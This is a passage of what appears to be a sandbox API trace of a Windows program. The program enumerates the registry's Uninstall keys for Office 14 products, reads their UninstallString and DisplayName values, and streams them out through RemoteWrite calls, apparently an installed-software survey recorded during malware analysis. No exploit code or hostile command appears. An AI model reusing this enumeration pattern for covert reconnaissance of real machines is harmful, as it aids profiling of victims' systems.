lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.237] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}" [0068.237] LocalFree (hMem=0x626e60) returned 0x0 [0068.237] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.237] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.238] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62cf98 [0068.238] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62cf98, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62cf98*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.238] RegCloseKey (hKey=0x108) returned 0x0 [0068.238] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62cf98*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.238] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.238] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62cf98 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.238] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.238] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.238] RegCloseKey (hKey=0x108) returned 0x0 [0068.238] lstrlenA (lpString="{90140000-001F-040C-0000-0000000FF1CE}_Office14.PROPLUSR_{46298F6A-1E7E-4D4A-B5F5-106A4F0E48C6}") returned 95 [0068.238] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5f, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5f) returned 0x0 [0068.238] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.238] LocalFree (hMem=0x626ba8) returned 0x0 [0068.238] LocalFree (hMem=0x62cf98) returned 0x0 [0068.238] LocalFree (hMem=0x626a88) returned 0x0 [0068.238] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x29, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-0C0A-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.238] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.238] lstrlenA (lpString="\\") returned 1 [0068.238] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.238] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.238] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.238] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.238] lstrlenA (lpString="{90140000-001F-0C0A-0000-0000000FF1CE}") returned 38 [0068.238] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.238] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.238] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-0C0A-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}" [0068.238] LocalFree (hMem=0x626e60) returned 0x0 [0068.238] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.239] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.239] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.239] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.239] RegCloseKey (hKey=0x108) returned 0x0 [0068.239] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.239] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.239] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x26) returned 0x0 [0068.239] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x629248 [0068.239] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x629248, lpcbData=0x12ef0c*=0x26 | out: lpType=0x0, lpData=0x629248*=0x4d, lpcbData=0x12ef0c*=0x26) returned 0x0 [0068.239] RegCloseKey (hKey=0x108) returned 0x0 [0068.239] lstrlenA (lpString="{90140000-001F-0C0A-0000-0000000FF1CE}") returned 38 [0068.239] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.239] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x629248*=0x4d, cb=0x26, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x26) returned 0x0 [0068.239] LocalFree (hMem=0x629248) returned 0x0 [0068.239] LocalFree (hMem=0x626b70) returned 0x0 [0068.239] LocalFree (hMem=0x626a88) returned 0x0 [0068.239] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x2a, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.239] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.239] lstrlenA (lpString="\\") returned 1 [0068.239] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.239] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.239] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.239] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.239] lstrlenA (lpString="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}") returned 94 [0068.239] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x626a88 [0068.239] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.240] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}" [0068.240] LocalFree (hMem=0x626e60) returned 0x0 [0068.240] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.240] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.240] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62bbb0 [0068.240] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62bbb0, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62bbb0*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.240] RegCloseKey (hKey=0x108) returned 0x0 [0068.240] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62bbb0*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.240] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.240] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62bbb0 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.240] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.240] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.240] RegCloseKey (hKey=0x108) returned 0x0 [0068.240] lstrlenA (lpString="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PRJPROR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}") returned 94 [0068.240] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5e, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5e) returned 0x0 [0068.240] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.240] LocalFree (hMem=0x626ba8) returned 0x0 [0068.240] LocalFree (hMem=0x62bbb0) returned 0x0 [0068.240] LocalFree (hMem=0x626a88) returned 0x0 [0068.240] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x2b, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.240] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.240] lstrlenA (lpString="\\") returned 1 [0068.240] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.240] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.240] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.241] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.241] lstrlenA (lpString="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}") returned 95 [0068.241] LocalAlloc (uFlags=0x40, uBytes=0x114) returned 0x626a88 [0068.241] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.241] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}" [0068.241] LocalFree (hMem=0x626e60) returned 0x0 [0068.241] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.241] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x1, lpData=0x0, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.241] LocalAlloc (uFlags=0x40, uBytes=0x13b) returned 0x62bbb0 [0068.241] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x62bbb0, lpcbData=0x12ef10*=0xba | out: lpType=0x0, lpData=0x62bbb0*=0x22, lpcbData=0x12ef10*=0xba) returned 0x0 [0068.241] RegCloseKey (hKey=0x108) returned 0x0 [0068.241] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x62bbb0*=0x22, cb=0xba, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0xba) returned 0x0 [0068.241] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.241] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x62bbb0 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.241] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x626ba8 [0068.241] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626ba8, lpcbData=0x12ef0c*=0x2b | out: lpType=0x0, lpData=0x626ba8*=0x4d, lpcbData=0x12ef0c*=0x2b) returned 0x0 [0068.241] RegCloseKey (hKey=0x108) returned 0x0 [0068.241] lstrlenA (lpString="{90140000-001F-0C0A-0000-0000000FF1CE}_Office14.PROPLUSR_{DEA87BE2-FFCC-4F33-9946-FCBE55A1E998}") returned 95 [0068.241] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x5f, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x5f) returned 0x0 [0068.241] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626ba8*=0x4d, cb=0x2b, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x2b) returned 0x0 [0068.241] LocalFree (hMem=0x626ba8) returned 0x0 [0068.241] LocalFree (hMem=0x62bbb0) returned 0x0 [0068.241] LocalFree (hMem=0x626a88) returned 0x0 [0068.241] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x2c, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-002C-0409-0000-0000000FF1CE}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.241] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.242] lstrlenA (lpString="\\") returned 1 [0068.242] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.242] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.242] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.242] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.242] lstrlenA (lpString="{90140000-002C-0409-0000-0000000FF1CE}") returned 38 [0068.242] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0068.242] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.242] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-002C-0409-0000-0000000FF1CE}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}" [0068.242] LocalFree (hMem=0x626e60) returned 0x0 [0068.242] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.242] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: lpType=0x12ef0c*=0x2, lpData=0x0, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.242] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x626b70 [0068.242] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x626b70, lpcbData=0x12ef10*=0x35 | out: lpType=0x0, lpData=0x626b70*=0x4d, lpcbData=0x12ef10*=0x35) returned 0x0 [0068.242] RegCloseKey (hKey=0x108) returned 0x0 [0068.242] ISequentialStream:RemoteWrite (in: This=0x622e80, pv=0x626b70*=0x4d, cb=0x35, pcbWritten=0x12ef1c | out: pcbWritten=0x12ef1c*=0x35) returned 0x0 [0068.242] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef10 | out: phkResult=0x12ef10*=0x108) returned 0x0 [0068.242] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x12ef08, lpData=0x0, lpcbData=0x12ef0c*=0x626b70 | out: lpType=0x12ef08*=0x1, lpData=0x0, lpcbData=0x12ef0c*=0x29) returned 0x0 [0068.242] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x626e60 [0068.242] RegQueryValueExA (in: hKey=0x108, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x626e60, lpcbData=0x12ef0c*=0x29 | out: lpType=0x0, lpData=0x626e60*=0x4d, lpcbData=0x12ef0c*=0x29) returned 0x0 [0068.242] RegCloseKey (hKey=0x108) returned 0x0 [0068.242] lstrlenA (lpString="{90140000-002C-0409-0000-0000000FF1CE}") returned 38 [0068.242] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x12ef70*=0x7b, cb=0x26, pcbWritten=0x12ef14 | out: pcbWritten=0x12ef14*=0x26) returned 0x0 [0068.242] ISequentialStream:RemoteWrite (in: This=0x623010, pv=0x626e60*=0x4d, cb=0x29, pcbWritten=0x12ef18 | out: pcbWritten=0x12ef18*=0x29) returned 0x0 [0068.242] LocalFree (hMem=0x626e60) returned 0x0 [0068.242] LocalFree (hMem=0x626b70) returned 0x0 [0068.243] LocalFree (hMem=0x626a88) returned 0x0 [0068.243] RegEnumKeyExA (in: hKey=0x104, dwIndex=0x2d, lpName=0x12ef70, lpcchName=0x12ef6c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}", lpcchName=0x12ef6c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.243] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0068.243] lstrlenA (lpString="\\") returned 1 [0068.243] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x626e60 [0068.243] lstrcpyA (in: lpString1=0x626e60, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0068.243] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.243] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0068.243] lstrlenA (lpString="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}") returned 94 [0068.243] LocalAlloc (uFlags=0x40, uBytes=0x113) returned 0x626a88 [0068.243] lstrcpyA (in: lpString1=0x626a88, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0068.243] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}" [0068.243] LocalFree (hMem=0x626e60) returned 0x0 [0068.243] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90140000-002C-0409-0000-0000000FF1CE}_Office14.PRJPROR_{7CA93DF4-8902-449E-A42E-4C5923CFBDE3}", ulOptions=0x0, samDesired=0x20019, phkResult=0x12ef14 | out: phkResult=0x12ef14*=0x108) returned 0x0 [0068.243] RegQueryValueExA (in: hKey=0x108, lpValueName="UninstallString", lpReserved=0x0, lpType=0x12ef0c, lpData=0x0, lpcbData=0x12ef10*=0x12ffc4 | out: 